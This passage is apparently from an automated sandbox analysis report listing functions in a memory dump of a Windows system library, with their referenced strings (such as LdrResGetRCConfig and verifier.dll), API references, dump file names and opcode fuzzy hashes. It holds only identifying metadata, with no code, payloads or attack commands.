API String ID: 3446177414-0
Opcode ID: 72996a99846c028ecda205d922d2fe838f940d08accf8e164aea949fb785262d
Instruction ID: 0929e347f9870b5a6ebce91ea3cbdee213e24edb4888903b1ed2388307b10a23
Opcode Fuzzy Hash: 72996a99846c028ecda205d922d2fe838f940d08accf8e164aea949fb785262d
Instruction Fuzzy Hash: F231EE35A11B12EFEB429F20CE80A89F7BAFF44388F515025EA4157E50DB70E921CBD1

Function 36D6F720 Relevance: 2.7, Strings: 2, Instructions: 159COMMON

Download Yara Rule

Strings

$, xrefs: 36D6F7F6
$, xrefs: 36D6F860

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID: DebugPrintTimes
String ID: $$$
API String ID: 3446177414-233714265
Opcode ID: 50e34551db103af0c411f25dde763f45df242423420e2102bd9623ef5a56edf2
Instruction ID: b740bd04d6a075031d197669960ea6213b8dcd781e2dedc51553285c1c2042ec
Opcode Fuzzy Hash: 50e34551db103af0c411f25dde763f45df242423420e2102bd9623ef5a56edf2
Instruction Fuzzy Hash: 1261DEB1E01B89DBEB20CFA6C980B9DB7B2FF4430CF904469D515AF650CB34A945CBA1

Function 36DE35BA Relevance: 2.6, Strings: 2, Instructions: 99COMMON

Download Yara Rule

Strings

LdrResGetRCConfig Exit, xrefs: 36DE35FE
LdrResGetRCConfig Enter, xrefs: 36DE35EC

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: LdrResGetRCConfig Enter$LdrResGetRCConfig Exit
API String ID: 0-118005554
Opcode ID: f374889117d14fab8d130942974566fbfc0b9ee8851bab6f2aa26fce29f1e053
Instruction ID: 2241c0f00ceea5573123f0e107d23a66cdb9cbec4e8d25772aff7078b0b8df7f
Opcode Fuzzy Hash: f374889117d14fab8d130942974566fbfc0b9ee8851bab6f2aa26fce29f1e053
Instruction Fuzzy Hash: A531DA756083819BD301CB3AD854B2AB3E4EF85758F42286DF984CB790EB30D905CBA2

Function 36D8329E Relevance: 2.6, Strings: 2, Instructions: 93COMMON

Download Yara Rule

Strings

.Local\, xrefs: 36D832B5
@, xrefs: 36D8330D

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: .Local\$@
API String ID: 0-380025441
Opcode ID: bc676bcaf4802411d694b6524bced15a31b277448d7bbbdf48581e115996e5f0
Instruction ID: 2a9b3b957301661598eab7b3bc16924844057f305189e54e5f9a833b2d87780f
Opcode Fuzzy Hash: bc676bcaf4802411d694b6524bced15a31b277448d7bbbdf48581e115996e5f0
Instruction Fuzzy Hash: DA3192B55093049FE311CF69C884A5BBBF8EB85658F41092EF99C83610DA30DD04CBA2

Function 36D834B0 Relevance: 2.6, Strings: 2, Instructions: 66COMMON

Download Yara Rule

Strings

SXS: %s() bad parameters:SXS: Map : 0x%pSXS: EntryCount : 0x%lx, xrefs: 36DC2A95
RtlpInitializeAssemblyStorageMap, xrefs: 36DC2A90

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: RtlpInitializeAssemblyStorageMap$SXS: %s() bad parameters:SXS: Map : 0x%pSXS: EntryCount : 0x%lx
API String ID: 0-2653619699
Opcode ID: 2403f48cba2f36e82fa448e88955235acaeca96ad7a1b61e540fb721374e7b28
Instruction ID: aa5425af4318b98695afcdf09cdd5ac1cde5f46f22cfa3cbc8069397966d84a7
Opcode Fuzzy Hash: 2403f48cba2f36e82fa448e88955235acaeca96ad7a1b61e540fb721374e7b28
Instruction Fuzzy Hash: F4112976B00214FBF7258B8D8D45F5B76A9DBC8B58F258069B908EB250D675CD00C6E4

Function 36D7B2C0 Relevance: 1.9, Strings: 1, Instructions: 629COMMON

Download Yara Rule

Strings

@[6@[6, xrefs: 36D7B2DC

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: @[6@[6
API String ID: 0-1493792968
Opcode ID: c1257064948172b02564ae8e2eb438b5caf3656cf0218299eee93796320cfea8
Instruction ID: 344ef5231a78344189cda40bab6068b5a5166cd557b9df2d17b340480576ec0f
Opcode Fuzzy Hash: c1257064948172b02564ae8e2eb438b5caf3656cf0218299eee93796320cfea8
Instruction Fuzzy Hash: 5732B0B5E00219DBDF14CFA9C890BEEBBB1FF48758F140029E945AB390E7359951CB92

Function 36E231E1 Relevance: 1.8, APIs: 1, Instructions: 281COMMON

Download Yara Rule

APIs

@_EH4_CallFilterFunc@8.LIBCMT ref: 36E23356

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID: CallFilterFunc@8
String ID:
API String ID: 4062629308-0
Opcode ID: 9c43c4a5b6e2979762b4270c3d6feec9e95d0e12a221a20422adbc311a973bf3
Instruction ID: 8ecd255a9deb3bb400bf60dab580784aad9a1f3070da6c99f8935960407b7522
Opcode Fuzzy Hash: 9c43c4a5b6e2979762b4270c3d6feec9e95d0e12a221a20422adbc311a973bf3
Instruction Fuzzy Hash: 3FC127B99017298FDB20DF1AC984699FBF6FF88318F5081AED54DA7250D734AA85CF40

Function 36D51131 Relevance: 1.8, APIs: 1, Instructions: 259timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 36D51233

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 35ba4d6613ff4f1006077eedd2289ae929595c2c55f6c4c2283633914034074d
Instruction ID: e1fb79506fb2bf0e87dfa5adc210cc93efebdffa38d663ad4d49ef7e13b86dfc
Opcode Fuzzy Hash: 35ba4d6613ff4f1006077eedd2289ae929595c2c55f6c4c2283633914034074d
Instruction Fuzzy Hash: F5B122B59093408FD754CF29C980A5AFBF1BF88304F5449AEE899CB352D771E845CB92

Function 36D57370 Relevance: 1.7, APIs: 1, Instructions: 247COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2205807a587f11a9dc51f2b082ce4212b60416863649a1efe817104a58f132f7
Instruction ID: f5764adfaaafbdeb219cd9f18d2a90c0637af820c7f97cef164fdde2863b55e6
Opcode Fuzzy Hash: 2205807a587f11a9dc51f2b082ce4212b60416863649a1efe817104a58f132f7
Instruction Fuzzy Hash: D8A17E75A08341DFE710CF29C484A1ABBF6FF88354F21496DE68597750EB30E945CB92

Function 36D57703 Relevance: 1.7, APIs: 1, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7939e1f146cb00cf1149b8466f06991780ce2814b54fedcfa58a9eb7490b2b8
Instruction ID: edfc136974f0adb911c32105eb2353ed28180ca33fac3f9c701f83631bacecd5
Opcode Fuzzy Hash: d7939e1f146cb00cf1149b8466f06991780ce2814b54fedcfa58a9eb7490b2b8
Instruction Fuzzy Hash: 6A615E75E00606AFEF08CF79C884A9DFBB5FF88244F25826AD519A7300DB30A955CBD1

Function 36D8F603 Relevance: 1.6, APIs: 1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35118722127871bacbe47829ae9642f80a4f525e030793149be371b85aa107c5
Instruction ID: 38ee190199bfa2c936845aa2fd0c8c9ef521df27c4176d23604b20246f52a91d
Opcode Fuzzy Hash: 35118722127871bacbe47829ae9642f80a4f525e030793149be371b85aa107c5
Instruction Fuzzy Hash: 61414BB4D01288DFDB11CFAAC881AADBBF5BF49390F50426ED598A7211D7319905CFA0

Function 36D4B480 Relevance: 1.6, APIs: 1, Instructions: 100timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 36D4B50C

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 3517ad063066a3870b3240839ef243697d75d0e3f5d5f2606bb9f1cd4e006286
Instruction ID: 5279042ceee4aed7987d7af075d0ea83e543299b22333d4a4187f762a7d1f63d
Opcode Fuzzy Hash: 3517ad063066a3870b3240839ef243697d75d0e3f5d5f2606bb9f1cd4e006286
Instruction Fuzzy Hash: A33155729003049FC312EF28C840A66B7B5FF843A8F514669ED445B291CB31ED02CFE0

Function 36D557C0 Relevance: 1.6, APIs: 1, Instructions: 92timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 36D55842

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 609c4b4169eea56f4833e83c9205ed884acc0d397776141b5700168f9cbf3d64
Instruction ID: 13325aa66104312d3cab4a33406910d72c846647e557d1788548e8d4eecc3ac7
Opcode Fuzzy Hash: 609c4b4169eea56f4833e83c9205ed884acc0d397776141b5700168f9cbf3d64
Instruction Fuzzy Hash: 3431AF39A25A05FFEB469B24DE40A89BBA6FF84344F516025EA5187F50DB31E830CBD1

Function 36D53616 Relevance: 1.6, APIs: 1, Instructions: 84timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 36D536A1

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 64189622f46deaa59af990cd2d36b5d5f564990e55d02ac5ba5d97bc7ecaa6c2
Instruction ID: 757862af05d21ec5306438e15eb6eb29924593271da8311d9c144bc6424a37e2
Opcode Fuzzy Hash: 64189622f46deaa59af990cd2d36b5d5f564990e55d02ac5ba5d97bc7ecaa6c2
Instruction Fuzzy Hash: 102104759053509FDB229F16C948B1ABBA1FF80B15F93046DEA404BE50EB74E848CBD2

Function 36D492FF Relevance: 1.5, APIs: 1, Instructions: 35timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 36D49325

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 08a70f0b169d8bae7434400d47c1d1fb573a9548f66ffd83ff9e1b84d18580ad
Instruction ID: 6e7c9cd58dcaf350a4f5817206b7ba2d57d3bce17aceca94e8dcd353c1190670
Opcode Fuzzy Hash: 08a70f0b169d8bae7434400d47c1d1fb573a9548f66ffd83ff9e1b84d18580ad
Instruction Fuzzy Hash: 06F0F032104240ABD732AB1ACC08F8ABBEDEF85710F190118F54693590CAA0B909C660

Function 36DFDEB0 Relevance: 1.4, Strings: 1, Instructions: 196COMMON

Download Yara Rule

Strings

System Volume Information, xrefs: 36DFDEBE

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: System Volume Information
API String ID: 0-764423717
Opcode ID: dce170f1a0cf50a057b159552faece6d1f6744b994c76ce52a9963efb0aa82c6
Instruction ID: 7def8283f8e3fb1031646d80a9dc26b83fcbb8e8da1a4246ad9369245225e26c
Opcode Fuzzy Hash: dce170f1a0cf50a057b159552faece6d1f6744b994c76ce52a9963efb0aa82c6
Instruction Fuzzy Hash: 3B61BB71118355AFD321DF51CC80EABB7E9EF88B94F41082DF9819B2A0D675DD44CBA2

Function 36D5973A Relevance: 1.4, Strings: 1, Instructions: 191COMMON

Download Yara Rule

Strings

@, xrefs: 36D597F3

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 32fdc9af89b0788a3bba97dbd317d7b10cd0208f20562fc1281393ba3f626ce3
Instruction ID: 275b453014e4a1e550f873d0fc3adbafc83ed04502c255f36ecd04cd636f1a4a
Opcode Fuzzy Hash: 32fdc9af89b0788a3bba97dbd317d7b10cd0208f20562fc1281393ba3f626ce3
Instruction Fuzzy Hash: 65618CB6D01359AFEF11CF96C840BEEBBB4FF80754F11012AE911AB654D7748A01CBA1

Function 36DDF7AF Relevance: 1.4, Strings: 1, Instructions: 161COMMON

Download Yara Rule

Strings

@, xrefs: 36DDF867

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 8281e956446473216ed512d18dfae26456dfb93296f0f4edbd2d8efa18977056
Instruction ID: ef581032521166db8eb4d6e76efd4af96d8102ab32a9e0d4c5bf65a0aea65eaa
Opcode Fuzzy Hash: 8281e956446473216ed512d18dfae26456dfb93296f0f4edbd2d8efa18977056
Instruction Fuzzy Hash: C15187B2914745AFE7119F56CC50F6BB7E8FF84B54F400929F9809B290DBB4E904CBA2

Function 36D83EEB Relevance: 1.4, Strings: 1, Instructions: 137COMMON

Download Yara Rule

Strings

@, xrefs: 36D83F50

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: f6d24db04a8b22f10dd332497e656ae38b365cd664294fb4cdc3bf0e0e6027ed
Instruction ID: 63a11d34b662d33e4d2f120cd7bd1f5a7c4d9f635274d4dbe401f7d95a616545
Opcode Fuzzy Hash: f6d24db04a8b22f10dd332497e656ae38b365cd664294fb4cdc3bf0e0e6027ed
Instruction Fuzzy Hash: C0519E715057149FD321CF56C840A6BB7F8FF88714F00892EF995876A0E7B4D904CBA6

Function 36E0B256 Relevance: 1.4, Strings: 1, Instructions: 130COMMON

Download Yara Rule

Strings

PreferredUILanguages, xrefs: 36E0B28F

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: PreferredUILanguages
API String ID: 0-1884656846
Opcode ID: 9e1720e36f8b3f050ec6cc29b78e02a6e65a7c2097de5d0bb33d2d15c6c93e7e
Instruction ID: b4ee59408d8aa278e75a9abdea7e9aa1787ff2e38a413477450f6a2c7a99f821
Opcode Fuzzy Hash: 9e1720e36f8b3f050ec6cc29b78e02a6e65a7c2097de5d0bb33d2d15c6c93e7e
Instruction Fuzzy Hash: 8241E776D00219ABDB01DA96CC44BEE73B9FF48758F210126E901E7250DAB9DD48CBA1

Function 36DD97A9 Relevance: 1.4, Strings: 1, Instructions: 121COMMON

Download Yara Rule

Strings

verifier.dll, xrefs: 36DD9870

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: verifier.dll
API String ID: 0-3265496382
Opcode ID: ce09e28a720c6a04a44f1eed38b317470658f4e0a9d669de337ce4e2d3b45f32
Instruction ID: 8d8473979f58b563bd617a8e9928c2a12f27b914e8342fe48932a048178945df
Opcode Fuzzy Hash: ce09e28a720c6a04a44f1eed38b317470658f4e0a9d669de337ce4e2d3b45f32
Instruction Fuzzy Hash: D631B3B5E103019FD715AF2AD850A6677E6EF49B54FA0807AE605DF381EA328C81C790

Function 36D87505 Relevance: 1.4, Strings: 1, Instructions: 111COMMON

Download Yara Rule

Strings

#, xrefs: 36DC4622

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1885708031
Opcode ID: 4bc324cfbfa2083798c26090082f3552f5e90ae9522e24348f396a2005f93b47
Instruction ID: f5943ea9d617f72348fc5e9e3519543ddd3db0c5b31d61dc35efb0b2fafb5b61
Opcode Fuzzy Hash: 4bc324cfbfa2083798c26090082f3552f5e90ae9522e24348f396a2005f93b47
Instruction Fuzzy Hash: 1F41B37990072AABEB11CF44C898BBEB7B5FF84745F51409AE84597240DB30D981CBE1

Function 36D4FF90 Relevance: 1.4, Strings: 1, Instructions: 109COMMON

Download Yara Rule

Strings

TerminalServices-RemoteConnectionManager-AllowAppServerMode, xrefs: 36D50058

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: TerminalServices-RemoteConnectionManager-AllowAppServerMode
API String ID: 0-996340685
Opcode ID: 49996d4c88f3900e408676fedb8339cb565e0acd3790e8adefb3c94280179961
Instruction ID: 1e98e388c5bf330fbb94b00c5ff6846a3e265bc260242cf81c9751c2baeafd5d
Opcode Fuzzy Hash: 49996d4c88f3900e408676fedb8339cb565e0acd3790e8adefb3c94280179961
Instruction Fuzzy Hash: E8419E75E1074A9BDB24DFB9D440AEBB7F4BF45300F11482ED6AAC3640E730A545CBA2

Function 36D8D530 Relevance: 1.3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

Strings

g6, xrefs: 36D8D5DF, 36D8D5E3

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: g6
API String ID: 0-3127300404
Opcode ID: ffe7b89d415b89b5ef0c710daf68e9b55b042f2e6e8f0f88b55863993ea18a97
Instruction ID: e3c0eac3f01a6e4f6ac7290a7290d5b7a92a5714da5d454663f1127bd2275f1c
Opcode Fuzzy Hash: ffe7b89d415b89b5ef0c710daf68e9b55b042f2e6e8f0f88b55863993ea18a97
Instruction Fuzzy Hash: BA2121B29053189BD712EF35CD05F477BE9AB84658F41082AFA44A7690EA30EC09C7F6

Function 36D55096 Relevance: 1.3, Strings: 1, Instructions: 71COMMON

Download Yara Rule

Strings

Actx , xrefs: 36D550BF

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: Actx
API String ID: 0-89312691
Opcode ID: 6b01b356ce09cfd2ee6c7589e83c70f730c747cbf2490e2a99f8c31863daf493
Instruction ID: bf48eda00c5362b72013fe19717c0676acfa2a1e55bad978745928d41d131a59
Opcode Fuzzy Hash: 6b01b356ce09cfd2ee6c7589e83c70f730c747cbf2490e2a99f8c31863daf493
Instruction Fuzzy Hash: E0118E74B097128BFF164E1F8850A16B7A5EB812ACF32852BE691CBB90DB71D841C3C0

Function 36DD106E Relevance: 1.3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

Strings

LdrCreateEnclave, xrefs: 36DD10F7

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

